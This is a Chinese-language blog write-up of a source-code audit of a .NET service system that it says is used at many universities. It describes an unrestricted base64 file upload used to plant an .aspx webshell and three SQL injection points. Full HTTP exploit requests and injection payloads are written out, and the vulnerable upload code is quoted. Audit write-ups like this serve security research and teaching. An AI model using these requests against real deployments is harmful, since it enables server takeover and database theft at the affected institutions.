前言
代码审计篇章都是自己跟几个师傅们一起审计的1day或者0day(当然都是小公司较为简单),禁止未经允许进行转载,发布到博客的用意主要是想跟师傅们能够交流下审计的思路,毕竟审计的思路也是有说法的,或者是相互源码共享也OK,本次审计的目标是大多高校用的一个通用系统,本篇原作者为@冬夏@Segador师傅 由于带着我审了下.NET
的站点于是有了这篇文章
黑盒
黑盒的过程大概讲述一下即可,其实就是有个注册的接口进行注册,然后通过注册进去后直接上传一个免杀马(听@Segador说是还需要加入PNG的头部绕一下(其实在CTF中确实也比较常见啥PNG头啊GIF89a啊啥的都行吧)),传上去就可以解析了,于是源码就有了
审计
前置知识
在此之前先了解c#
每个文件的含义,以便是0基础的师傅也能看懂什么意思
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| aspx:应用程序根目录或子目录,包含web控件与其他cs:类文件aspx.cs:web窗体后台程序代码文件
ascx:应用程序根目录或子目录,Web 用户控件文件
asmx:应用程序根目录或子目录,该文件包含通过 SOAP 方式可用于其他 Web 应用程序的类和方法
asax:应用程序根目录,通常是Global.asax
config:应用程序根目录或子目录,通常是web.config
ashx:应用程序根目录或子目录,该文件包含实现 IHttpHandler 接口以处理所有传入请求的代码
soap:应用程序根目录或子目录 soap拓展文件dll:在ASP.NET Web应用程序中,通常会将每个页面或控件编译成一个独立的DLL文件。这些DLL文件包含了与页面相关的代码、控件、用户控件等。当用户访问网站时,ASP.NET引擎会动态加载这些DLL文件以提供所需的功能
那么就一句话概括,重点就是看dll,aspx或者aspx.cs这三个文件
|
了解每个文件的意思之后,我们在定位到Default.aspx
这个文件,查看AutoEventWireup
、CodeFile
、Inherits
这三个参数
1 2 3 4 5
| AutoEventWireup(自动事件绑定):这是一个布尔值属性,用于指示编译器是否自动连接页面的事件处理程序。如果设置为true,则编译器会自动尝试将命名为特定模式的方法与页面的生命周期事件相关联,例如Page_Load或Button_Click等。如果设置为false,则需要手动显式地将事件与处理程序绑定。
CodeFile`(代码文件:在ASP.NET中,这是指包含与页面相关代码的文件。在Web Forms中,一个页面通常由两部分组成:.aspx文件(包含HTML和控件布局)和.aspx.cs(C
Inherits属性用于指定页面类所继承的基类。这些概念在ASP.NET Web Forms中是很重要的,它们有助于管理页面的事件处理、代码文件的关联以及页面类的继承关系。
|
![](https://zjacky-blog.oss-cn-beijing.aliyuncs.com/blog/202312292053730.png)
在一般的.NET
代码中我们要重点关注inherits
(继承),因为WEB应用程序会把我们写的代码编译为DLL文件存放在Bin文件夹中,在ASPX
文中基本就是一些控件名,所以需要反编译他的DLL来进行审计。在bin目录应该是会存在_Default.dll
一个主编译,但是在这个代码中没有这个文件,所以我们只能从aspx.cs
这些文件入手。
文件上传
现在主流的框架都是mvc三层模型,这种一般我们都是观看controller层来进行寻找特定的方法(后续我会写这种源码怎么审计)那么这套源码也是我见过在.net算奇葩的,它通过ajax方式来访问特定的方法,这是登录页面来触发的
![](https://zjacky-blog.oss-cn-beijing.aliyuncs.com/blog/202312292053655.png)
所以去查看下UserLogin.aspx.cs
![](https://zjacky-blog.oss-cn-beijing.aliyuncs.com/blog/202312292053812.png)
那么就能猜出大概的结构
1
| /ajax/文件名(UserLogin),App_Web_knyu3gfu.ashx?\_method=方法(login)&\_session=rw(ReadWrite)
|
既然猜出结构之后 就发现了有一个UploadFile
的目录
于是关注到LoalUploadFile.aspx.cs
这个文件,这里的aksk等云方面的代码进行注释也就是说并不上云。并且这里有一个特别重要的一串代码
1
| namespace Soft51.CMServiceSystem.Web.UpLoadFile在.NET中,namespace(命名空间)是用于组织和管理代码的一种机制。它被用来将相关的类型、类、接口、委托等组织在一起,以便更好地管理代码结构、防止命名冲突,并提高代码的可读性和可维护性。 说人话就跟java中的Private方法类似
|
![](https://zjacky-blog.oss-cn-beijing.aliyuncs.com/blog/202312241449155.png)
所以知道这串代码的意思就定位到文件保存的步骤,下面我将代码选取出去并分别解释每串所讲的意思
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| [Ajax.AjaxMethod(Ajax.HttpSessionStateRequirement.ReadWrite)] \\声明方法及变量: saveLocalfailes方法:这是一个公共方法,返回类型为ResultFile。 file, tmpfilename, fileName:这是方法的参数,分别表示Base64编码的文件内容,临时文件名,以及原始文件名。
public ResultFile saveLocalfailes(String file, string tmpfilename, string fileName) { ResultFile result = new ResultFile(); string type = "." + fileName.Split('.')[1]; result.fileName = fileName; result.type = type;
/ var httpContext = System.Web.HttpContext.Current; string http = httpContext.Request.Url.Scheme; string addr = httpContext.Request.Url.Authority;
string appPath = AppDomain.CurrentDomain.BaseDirectory; string AttachmentFiles = "AttachmentFiles"; string folderPath = Path.Combine(appPath, AttachmentFiles);
if (!Directory.Exists(folderPath)) { Directory.CreateDirectory(folderPath); }
string filePath = AttachmentFiles + "/" + tmpfilename +type; folderPath = folderPath + "\\" + tmpfilename + type; byte[] fileBytes = Convert.FromBase64String(file); File.WriteAllBytes(folderPath, fileBytes); string url = http +"://"+addr+"/"+ filePath; result.url = url; return result; }
|
![](https://zjacky-blog.oss-cn-beijing.aliyuncs.com/blog/202312241449294.png)
那么知道这串代码并没有对文件后缀进行显示,也没有白名单和过滤的设置。根据上面所知的方法来构造payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| POST /ajax/Soft51.CMServiceSystem.Web.UpLoadFile.LocalUpLoadFile,App_Web_o5xcnfs2.ashx?_method=saveLocalfailes&_session=rw HTTP/1.1 Host: xxxx Cookie: ASP.NET_SessionId=xxx Content-Length: 9361 Sec-Ch-Ua: "Chromium";v="91", " Not;A Brand";v="99" Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: */* Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
file=base64加密过后的免杀马子 tmpfilename=1 fileName=1.aspx
|
至此马子进行解析
![](https://zjacky-blog.oss-cn-beijing.aliyuncs.com/blog/202312241449419.png)
SQL注入
第一处SQL
sql注入我目前的寻找方式,只能寻找每个参数是否代入sql语句中进行查询(稍微理解一下,在哪存在sql?肯定是数据交互的点,比如 注册 下载 登录 查询 信息 等地方),在查看注册代码的时候也是很明显直接将参数ParentID
直接代入到sql语句中并没有做过多的一个过滤(其实也就是靠猜了,猜他写的内容是否会带入到sql查询当中)
下面的代码接受ParentID
传参并且有order by 这种字眼所以可以大胆猜测为sql查询
那么就构造payload,根据前面所解释的结构,\_mothod
是方法,Register_BiddingBodyRegister
对应目录和文件名,session=no是因为这里没有对session进行一个限制,并且这是一个数据型的注入,可以直接用数字型-user来进行报错处理
![](https://zjacky-blog.oss-cn-beijing.aliyuncs.com/blog/202312292053907.png)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST /ajax/Register_BiddingBodyRegister,App_Web_ggq5haij.ashx?_method=GetAreaChildInfo&_session=no HTTP/1.1 Host: xxxxxx Accept: */* Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Content-Length: 27 Content-Type: text/plain;charset=UTF-8 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows"
parentID=1-user
|
![](https://zjacky-blog.oss-cn-beijing.aliyuncs.com/blog/202312292053015.png)
这个sql两个接口都可以的
这里其实有个问题,这个App_Web_ggq5haij.ashx
怎么来的啊?
其实后面研究了下他是得跳转的,具体跳转到时哪个ashx文件还没有解释明白,但从注册的接口中抓包就可以抓到这个目录了
![](https://zjacky-blog.oss-cn-beijing.aliyuncs.com/blog/202312292053795.png)
第二处SQL
在LocalUploadFile.aspx
文件中,也有直接进行参数拼接的语句
![](https://zjacky-blog.oss-cn-beijing.aliyuncs.com/blog/202312241449728.png)
根据namespace
命名空间,来构造payload
1 2 3 4 5 6
| /ajax/Soft51.CMServiceSystem.Web.UpLoadFile.LocalUpLoadFile,App_Web_o5xcnfs2.ashx?_method=getAttachmentType&_session=rw 分别解释每段意思 Soft51.CMServiceSystem.Web:命名空间 UpLoadFile:目录 LocalUpLoadFile:文件 getAttachmentType:方法
|
![](https://zjacky-blog.oss-cn-beijing.aliyuncs.com/blog/202312241449949.png)
第三处SQL
在PushCertApply.aspx
文件中,定义一个方法和两个参数,这里的进行一个try尝试,pass参数必须为0.0才能执行code参数的代入,并且这里前后有’’所以判断是字符型,从而来闭合语句构造payload
1 2 3 4 5 6 7 8 9
| POST /ajax/PushCertApply,App_Web_knyu3gfu.ashx?_method=PushCertApplyByCode&_session=no HTTP/1.1 Host: xxxx Cookie: ASP.NET_SessionId=xxx Content-Length: 28 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Code=1'-(1-user)-' pass=0.0
|
至此由于注入很多很多,我就不一一展示,主要展示寻找路径和理解框架,还有.net代码如何审计,这个是特例的一个例子野蛮少见的,后续我会写一篇对dll文件审计
后言
其实这篇.NET
的审计跟蛮多审计文章不同的,因为一个是他是以ajax
去起的接口,其次就是我们这次审计其实并无设置到他bin目录下的dll文件,为啥呢?因为他把逻辑都写在了cs文件当中了,所以算是比较好审计的了,这篇也算是.NET
的审计入门吧,记录下